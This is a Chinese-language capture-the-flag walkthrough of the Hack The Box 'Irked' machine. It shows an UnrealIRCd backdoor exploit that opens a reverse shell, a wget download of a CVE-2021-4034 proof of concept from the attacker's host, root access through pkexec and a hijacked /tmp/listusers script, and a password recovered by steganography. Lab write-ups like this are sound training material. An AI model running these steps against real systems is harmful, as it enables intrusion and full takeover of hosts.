HTB-Irked

发表于 2025-04-19 更新于 2025-04-25 分类于 Hackthebox 阅读次数：

OS	Difficulty
Linux	Easy

Nmap Scan

$ nmap 10.10.10.117 -T4 -p- --min-rate 1000 -sV -sC        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-19 23:18 CST
Warning: 10.10.10.117 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.117
Host is up (0.10s latency).
Not shown: 65130 closed tcp ports (conn-refused), 398 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          40082/tcp   status
|   100024  1          57955/udp6  status
|   100024  1          59551/udp   status
|_  100024  1          59805/tcp6  status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
40082/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.19 seconds

漏洞利用

使用 irc 客户端(hexchat和irssi都可以)访问6697 端口，可以看到连接信息中返回的“Unreal3.2.8.1”

通过检索，找到exp，修改脚本并执行

$ python3 exploit.py 10.10.10.117 6697  -payload python

成功接收到shell

$ nc -lvnp 9001           
Listening on 0.0.0.0 9001
Connection received on 10.10.10.117 37922
bash: cannot set terminal process group (601): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ id
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)

路径一

查找 root 权限的二进制文件, 找到/usr/bin/pkexec 和 /usr/bin/viewuser

ircd@irked:~$ find / -user root -perm /4000 2>/dev/null
find / -user root -perm /4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
<...>
/usr/bin/pkexec
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
<...>

权限提升(方案一)

利用/usr/bin/pkexec: 查看目标机器环境中是否有gcc ，下载cve-2021-4034 exp 编译并执行

ircd@irked:~$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/i586-linux-gnu/4.9/lto-wrapper
Target: i586-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10+deb8u1' --with-
<...>
Thread model: posix
gcc version 4.9.2 (Debian 4.9.2-10+deb8u1) 
ircd@irked:~$ cd /tmp
ircd@irked:/tmp$ wget http://10.10.16.24/cve-2021-4034-poc.c 
--2025-04-19 11:48:18--  http://10.10.16.24/cve-2021-4034-poc.c
Connecting to 10.10.16.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1267 (1.2K) [text/x-csrc]
Saving to: ‘cve-2021-4034-poc.c’
     0K .                                                     100%  305M=0s
2025-04-19 11:48:20 (305 MB/s) - ‘cve-2021-4034-poc.c’ saved [1267/1267]
ircd@irked:/tmp$ ls
cve-2021-4034-poc.c
systemd-private-76f5017c0bbf4b1a9144ade090a6067e-colord.service-0MGbig
systemd-private-76f5017c0bbf4b1a9144ade090a6067e-cups.service-auGCve
systemd-private-76f5017c0bbf4b1a9144ade090a6067e-rtkit-daemon.service-cvkGJc
vmware-root
ircd@irked:/tmp$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc 
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc 

ircd@irked:/tmp$ ./cve-2021-4034-poc                           
./cve-2021-4034-poc
id
uid=0(root) gid=0(root) groups=0(root),1001(ircd)

权限提升(方案二)

利用/usr/bin/viewuser: 运行命令提示没有找到/tmp/listusers ，创建此文件并添加执行权限，重新运行命令即可提权成功

ircd@irked:~$ /usr/bin/viewuser 
(unknown) :0           2025-04-19 10:00 (:0)
sh: 1: /tmp/listusers: not found
This application is being devleoped to set and test user permissions
It is still being actively developed
ircd@irked:~$ echo '/bin/sh' > /tmp/listusers 
ircd@irked:~$ chmod +x /tmp/listusers
ircd@irked:~$ /usr/bin/viewuser
(unknown) :0           2025-04-19 10:00 (:0)
djmardov pts/0        2025-04-19 12:05 (10.10.16.24)
id
uid=0(root) gid=1001(ircd) groups=1001(ircd)

路径二

信息收集：在/home/djmardov/Document 下可以找到 .backup文件

ircd@irked:/home/djmardov/Documents$ ls -la
total 12
drwxr-xr-x  2 djmardov djmardov 4096 Sep  5  2022 .
drwxr-xr-x 18 djmardov djmardov 4096 Sep  5  2022 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
lrwxrwxrwx  1 root     root       23 Sep  5  2022 user.txt -> /home/djmardov/user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

访问80端口可以看到，感觉可能是什么隐写术，保存图片并使用steghide提取信息，密码使用.backup 中获取的密码

提取出pass.txt，使用ssh登录成功

$ steghide extract -sf irked.jpg 
Enter passphrase: 
wrote extracted data to "pass.txt".

$ cat pass.txt  
Kab6h+m+bbp2J:HG

$  ssh djmardov@10.10.10.117
The authenticity of host '10.10.10.117 (10.10.10.117)' can't be established.
ED25519 key fingerprint is SHA256:Ej828KWlDpyEOvOxHAspautgmarzw646NS31tX3puFg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
<...>
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ id 
uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)

权限提升

同路径一

Flag	Path
Flag1	/home/djmardov/user.txt
Flag2	/root/root.txt